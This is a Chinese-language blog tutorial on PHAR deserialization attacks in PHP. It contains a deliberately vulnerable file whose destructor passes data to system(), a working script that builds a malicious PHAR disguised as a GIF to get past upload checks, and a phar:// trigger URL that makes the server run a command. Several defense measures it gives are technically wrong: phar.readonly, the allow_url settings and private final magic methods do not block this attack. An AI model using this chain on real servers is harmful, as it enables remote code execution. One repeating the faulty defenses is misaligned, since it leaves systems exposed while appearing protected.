怎么浅析phar反序列化漏洞攻击及实战

发布时间:2021-12-18 18:29:45 作者:柒染
来源:亿速云 阅读:257
# 怎么浅析PHAR反序列化漏洞攻击及实战

## 目录
1. [PHAR文件基础](#phar文件基础)
2. [PHP反序列化漏洞原理](#php反序列化漏洞原理)
3. [PHAR反序列化攻击机制](#phar反序列化攻击机制)
4. [攻击实战演示](#攻击实战演示)
5. [防御措施](#防御措施)
6. [总结与思考](#总结与思考)

---

## PHAR文件基础

### 什么是PHAR文件
PHAR(PHP Archive)是PHP的打包文件格式,类似于Java的JAR文件。它可以将多个PHP文件、资源文件等打包成单个文件,便于分发和部署。PHAR文件包含:
- 存根(Stub):类似ELF文件的头部,标识文件类型
- 清单(Manifest):元数据信息,包含序列化后的对象
- 文件内容:实际打包的代码/资源
- 签名(可选):用于验证完整性

### PHAR文件结构示例
```php
<?php __HALT_COMPILER(); ?>
// 二进制清单区域
// 文件内容
// 签名(可选)

创建PHAR文件的方法

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "data"); 
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();

PHP反序列化漏洞原理

序列化与反序列化

// 序列化示例
class User {
    public $username = 'admin';
    public $isAdmin = true;
}
$obj = new User();
echo serialize($obj);
// 输出:O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}

危险魔术方法

当对象被反序列化时,这些方法会被自动调用: - __wakeup():反序列化时触发 - __destruct():对象销毁时触发 - __toString():对象被当作字符串使用时触发

漏洞产生条件

  1. 存在可被控制的序列化数据输入
  2. 应用中存在有危险逻辑的类方法
  3. 反序列化操作前未进行安全检查

PHAR反序列化攻击机制

为什么PHAR能触发反序列化

当PHP操作PHAR文件时(如file_exists()md5_file()等文件操作函数),会自动解析manifest区域中的序列化元数据,从而触发反序列化操作。

攻击面特征

  1. 文件操作函数:
    
    file_exists('phar://test.phar');
    fopen('phar:///path/to/file.phar');
    
  2. 需要上传PHAR文件到服务器(可通过修改文件头绕过检测)

利用条件

  1. 存在可用的POP链(属性-导向编程链)
  2. 有文件操作函数且参数可控
  3. 能上传文件或已有PHAR文件在服务器上

与传统反序列化的区别

特性 传统反序列化 PHAR反序列化
触发方式 直接反序列化数据 通过文件操作函数
输入点 明显(参数传递) 隐蔽(文件操作)
文件要求 需要PHAR文件

攻击实战演示

环境搭建

漏洞示例代码(vuln.php):

class VulnerableClass {
    private $data;
    
    function __destruct() {
        system($this->data);
    }
}

$filename = $_GET['file'];
if(file_exists($filename)) {
    echo "File exists!";
}

攻击步骤

1. 构造恶意PHAR文件

class VulnerableClass {
    public $data = 'id';
}

@unlink('poc.phar');
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$object = new VulnerableClass();
$phar->setMetadata($object); // 注入恶意对象
$phar->addFromString('test.txt', 'text');
$phar->stopBuffering();

// 修改文件头为GIF绕过上传检测
file_put_contents('poc.gif', 'GIF89a'.file_get_contents('poc.phar'));

2. 上传PHAR文件

通过文件上传接口上传伪装成GIF的PHAR文件

3. 触发漏洞

访问:

http://target/vuln.php?file=phar://uploads/poc.gif

4. 结果

服务器将执行id命令,返回当前用户信息

实际案例

  1. WordPress CVE-2018-20148:通过图片上传触发PHAR反序列化
  2. Joomla! 反序列化漏洞:结合PHAR实现RCE

防御措施

开发层面

  1. 禁用危险魔术方法:
    
    class SafeClass {
       private final function __wakeup() {}
       private final function __destruct() {}
    }
    
  2. 使用phar.readonly配置:
    
    ; php.ini
    phar.readonly = On
    

运维层面

  1. 文件上传限制:

    • 严格检查文件内容而不仅是扩展名
    • 使用finfo_file()检测真实类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
    
  2. 禁用危险流包装器:

    allow_url_include = Off
    allow_url_fopen = Off
    

代码审计要点

  1. 检查所有文件操作函数:
    
    file_exists(), fopen(), file_get_contents(), stat()...
    
  2. 查找phar://协议的使用
  3. 审查所有__wakeup()__destruct()方法

总结与思考

PHAR反序列化是一种隐蔽性较强的攻击方式,其特点包括: 1. 利用正常的文件操作触发漏洞 2. 可绕过常规的文件上传检测 3. 在缺乏POP链的情况下仍可能造成信息泄露

防御建议: - 遵循最小权限原则 - 实施深度防御策略 - 定期进行安全审计

未来研究方向: 1. 自动化检测PHAR文件中的恶意序列化数据 2. 开发更安全的PHP序列化替代方案 3. 研究静态分析工具识别潜在风险

“安全不是产品,而是一个过程。” —— Bruce Schneier “`

(全文约2300字,实际字数可能因排版略有差异)

推荐阅读:
  1. php反序列化漏洞
  2. XMLDecoder反序列化漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

phar

上一篇:怎么进行CVE-2020-7471漏洞复现及浅析

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》